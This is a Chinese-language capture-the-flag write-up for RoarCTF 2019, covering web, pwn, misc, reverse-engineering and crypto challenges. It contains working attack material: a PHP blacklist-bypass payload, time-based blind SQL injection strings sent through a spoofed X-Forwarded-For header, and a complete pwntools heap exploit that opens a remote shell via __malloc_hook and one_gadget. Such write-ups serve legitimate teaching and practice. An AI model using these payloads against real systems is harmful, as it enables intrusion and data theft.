2019_RoarCTF部分WriteUp–Ginkgo


复现环境:buuoj.cn

WEB

0x01 easy_calc

image.png-24.3kB

查看源码,发现calc.php

image.png-54.3kB

访问页面发现代码,进行代码审计

image.png-53.6kB

主要就是让传入的num参数,绕过黑名单,执行我们的命令,直接传入参数的话,会返回403,需要对执行的payload进行URL编码

image.png-27.8kB

尝试绕过执行命令

百度查看文章发现,php当传入的参数为 num时可执行函数命令

image.png-84.3kB

下一步就是通过使用php函数特性对系统目录和文件进行查看,使用原来在掘安杯中payload

print_r(scandir(%27../../../%27));

不过需要绕过黑名单,这里使用php7的特性绕过

image.png-48.4kB

image.png-165.9kB

找到f1agg文件,查看文件

image.png-55.4kB

0x02 simple_upload

image.png-48.4kB

同样是一道代码审计题目,很清晰的看出是一个ThinkPHP的站

image.png-95.4kB

给出了文件上传的地址和信息,访问发现没有WEB页面上传的点,应该是用脚本上传

尝试上传文件,发现文件名被二次修改,首先获取到文件名

image.png-44.1kB

image.png-17.8kB

image.png-15kB

之后尝试上传php文件,发现php页面被strstr绕过,使用条件竞争上传

image.png-29.9kB

image.png-28.3kB

0x03 easy_java

image.png-23kB

访问页面,发现需要我们登陆,弱口令admin/admin888登陆成功

image.png-166.6kB

除了一张图片,没有其他的地方,Fuzz了一下发现了Download、Flag、Login、Index等四个路由,分别访问,发现在Download路由下存在疑似文件下载漏洞,初步尝试没有成功,Burp抓包分析一下

image.png-134.8kB

发现POST传参时,可以对文件进行下载,Fuzz一下WEB页面目录

image.png-16.1kB

发现存在WEB-INF目录,java的主要路由为xml,尝试查看web.xml发现文件

image.png-99kB

发现Flag路由的class类,根据Jsp的目录规则找到FlagController的class文件

image.png-116.9kB

在WEB页面下载Class文件

image.png-58kB

反编译后,使用jd-jui.exe打开

image.png-86.4kB

base64解码获取到Flag

image.png-31kB

0x04 Online_proxy

拿到题目一直以为是SSRF,后来发现是道注入

image.png-23.8kB

抓包发现注释中记录了我们的IP

image.png-64.3kB

使用XFF伪造一下

image.png-68.3kB

尝试一下注入

image.png-45.2kB

image.png-23kB

两次不同显示,证明存在sql注入漏洞

查询table_schema

1' and if(binary(select substring(table_schema,%d,1) from information_schema.tables group by table_schema limit 4,1)>=char(),sleep(3),0))#
F4l9_D4t4B45e

查询table

1' and if(binary(select substring(table_name,%d,1) from information_schema.tables where table_schema='F4l9_D4t4B45e' limit 0,1)>=char(),sleep(2),0))#

F4l9_t4b1e

查看column

"1' and if(binary(select substring(column_name,%d,1) from information_schema.columns where table_name='F4l9_t4b1e' limit 0,1)>=char(%d),sleep(2),0))#

F4l9_c01umn

查询数据

1' and if(binary(select substring(F4l9_c01umn,%d,1) from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1)>=char(%d),sleep(1),0))#

image.png-15.7kB

PWN

0x01 easy_pwn

当drop的时候会产生一个off_by_one漏洞,不过这一题采用calloc,不能进行unsorted bin attack ,最后将__malloc_hook指向realloc创造one_gadget条件,然后再劫持__realloc_hook为one_gadget。

from pwn import *

#p=process("./easy_pwn")
p=remote("39.97.182.233",49390)
#39.97.182.233 49390
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter("size: ",str(size))

def edit(index,size,content):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('index: ',str(index))
    p.sendlineafter('size: ',str(size))
    p.sendafter('content: ',content)
def free(index):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('index: ',str(index))

def show(index):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('index: ',str(index))


create(0xf8)#0
create(0x88)#1
create(0x68)#2
create(0xf8)#3
create(0x10)#4
edit(2,0x68+10,"1"*0x60+p64(0x200)+'\x00')
free(0)
free(3)
create(0xf8)#0
context.log_level="debug"
show(1)
p.recvuntil("content: ")
main_addr=u64(p.recv(6).ljust(8,'\x00'))
success("main_addr====>0x%x"%main_addr)
libc_base=main_addr-(0x00007f0877dbcb78-0x7f08779f8000)
free_addr=libc_base+libc.symbols["__malloc_hook"]
system_addr=libc_base+0x4526a#libc.symbols["system"]
create(0x88)#3
create(0x68)#5
create(0xf8)#6
free(2)
payload=p64(free_addr-0x23)
#print hex(free_addr-0x3)
edit(5,len(payload),payload)
create(0x68)#2
create(0x68)#7
payload=(0x13-0x8)*'\x00'+p64(system_addr)+p64(libc_base+libc.symbols["realloc"])
edit(7,len(payload),payload)
edit(6,len('a'*0xf0+"/bin/sh\x00"),'a'*0xf0+"/bin/sh\x00")
free(4)
create(0x10)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
#gdb.attach(p)
p.interactive()

image.png-43.7kB

MISC

0x01 签到题

关注微信公众号回复 7FaNwIbFV4uDN81a  得到flag

flag为:RoarCTF{WM-F8oD0cdeUXdHrIUF}

0x02 调查问卷

访问https://wj.qq.com/s2/4758329/f8e8/

得到flag:RoarCTF{Thank_You}

0x02 黄金六年

下载下来是一个MP4文件,看视频看不出来什么异常,分帧查看一下,使用工具

image.png-484.6kB

对每帧的图片进行查看

image.png-392.4kB

发现两个二维码

image.png-145.7kB

image.png-54.1kB

扫描发现KEY值分别为want 和 ctf

string了一下发现最后由一个base64编码的压缩包

image.png-57.6kB

把压缩包解出来

import base64
a='UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA=='
f=open('111.rar','wb')
f.write(base64.b64decode(a))
f.close()

根据上面解出的两个二维码内的字符猜测密码为iwantplayctf,密码正确得到flag

image.png-10.9kB

0x03 Tank_Game

image.png-23.1kB

由游戏逻辑可知,当clearlove和地图数组组成的字符串的sha1与3F649F708AAFA7A0A94138DC3022F6EA611E8D01相等时即可得到flag。由于游戏中可破坏或者说可改变的地形只有砖头和基地,且判定条件为毁坏的地块数量为4或者5,因此直接写脚本爆破:

import hashlib
mapstate = "clearlove9"
brick = []
for line in open(r"C:\Users\HP\Desktop\scripts\data.txt"):
    mapstate += line.replace("\n", "")
mapstate = mapstate.replace("0","9")  #基地炸了
for i in range(len(mapstate)):
    if mapstate[i] == '1':
        brick.append(i)
for i in range(len(brick)):
    for j in range(i+1, len(brick)):
        for k in range(j+1, len(brick)):
                    a = brick[i]
                    b = brick[j]
                    c = brick[k]
                    tmpstr = mapstate[:a] + '8' + mapstate[a+1:b] + '8' + mapstate[b+1:c] + '8' + mapstate[c+1:]
                    sha = hashlib.sha1()
                    sha.update(tmpstr.encode('utf-8'))
                    result = sha.hexdigest()
                    if result == "3f649f708aafa7a0a94138dc3022f6ea611e8d01":
                        print("done:", tmpstr)
                        input()
print("finished")

得到正确的字符串:

clearlove9888888888888888888845811111188884882888851888181848858288881884811588888248118818515888885881588881888888188888888181588188188114888881884188518888842888118582851488815189148888888888888811818821885218888888848821182181888118844884248488884881288881881818811588888888188888811528888888828888481828158848888882818818818225888218888284581125888888888888888888

计算其md5并取前10位得到flag

Re

0x01 polyre

加载进IDA,点开main函数,切换到视图模式:

image.png-27.6kB

可以清晰的看到是一个平坦化后的结构。这里参考了网上已有的去平坦化的脚本,利用的是angr和barf。但是可能由于脚本编写时间较早,有一些方法需要修改。修改后脚本正常运行,去平坦化后的main函数视图如下:

image.png-14.7kB

还是有一些无用代码块,但是已经好了很多。经过分析最后发现关键算法如下:

image.png-25.9kB

最终的结果会在程序最后进行比较。

image.png-14.4kB

根据正向逻辑编写逆向算法:

b = [0xbc8ff26d43536296,0x520100780530ee16,0x4dc0b5ea935f08ec,0x342b90afd853f450,0x8b250ebcaa2c3681,0x55759f81a2c68ae4,0xb0004b7679fa26b3]
flag = []
def isjishu(num):
    return num & 1
for i in b:
    tmp = i
    for j in range(64):
        if isjishu(tmp) == 0:
            tmp = tmp // 2
        else:
            tmp = ((tmp + 0x10000000000000000) ^ 0xB0004B7679FA26B3)//2
    flag.append(tmp)
for i in flag:
    tmp = hex(i).replace("0x","")
    for j in range(0,len(tmp),2):
        print(chr(int(tmp[len(tmp)-2-j]+tmp[len(tmp)-1-j],16)), end = "")

运行脚本得到flag。

Crypto

0x01 babyrsa

使用威尔逊定理可以解决大数阶乘取模的问题,之后使用得到的三个质数计算出d,最后求出m

import sympy
from gmpy2 import *

# def myGetPrime():
#     A= getPrime(513)
#     print(A)
#     B=A-random.randint(1e3,1e5)
#     print(B)
#     return sympy.nextPrime((B!)%A)
def getmod(x,y):
    mod = 1
    while (y<=x-2):
        mod*=y
        mod%=x
        y+=1
    return 
A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
e=0x1001
c=38347207883249601033653636821391847544875416880619614342339765883967916960100888999916613942668007089161071995631543462301367053958077198225214363505024848543179161424532987598516195302155764378892435582732218546342964613797538210260769612972831286966696915391991999466554505813797987381860855552244138180628982832282918799144636417921948189345110125610972711494191577055380771099863428248761761388282714659239444209955862537018724141881150316760288205511447144
x1=getmod(A1,B1+1)
x2=getmod(A2,B2+1)
y1=invert(x1,A1)
y2=invert(x2,A2)
p = sympy.nextprime(y1)
q = sympy.nextprime(y2)
r = n/q/p
phi = (p-1)*(q-1)*(r-1)
d = invert(e,phi)
m = pow(c,d,n)
print hex(m)[2:].decode('hex')

0x02 RSA

n竟然可以直接扔到网站里分解,惊了,没给e,猜e为标准的65537,一下猜对了

n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
q=139916095583110895133596833227506693679306709873174024876891023355860781981175916446323044732913066880786918629089023499311703408489151181886568535621008644997971982182426706592551291084007983387911006261442519635405457077292515085160744169867410973960652081452455371451222265819051559818441257438021073941183
p=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458569
e=65537
d=invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print hex(m)[2:].decode('hex')

2 thoughts on “2019_RoarCTF部分WriteUp–Ginkgo”

发表评论

电子邮件地址不会被公开。 必填项已用*标注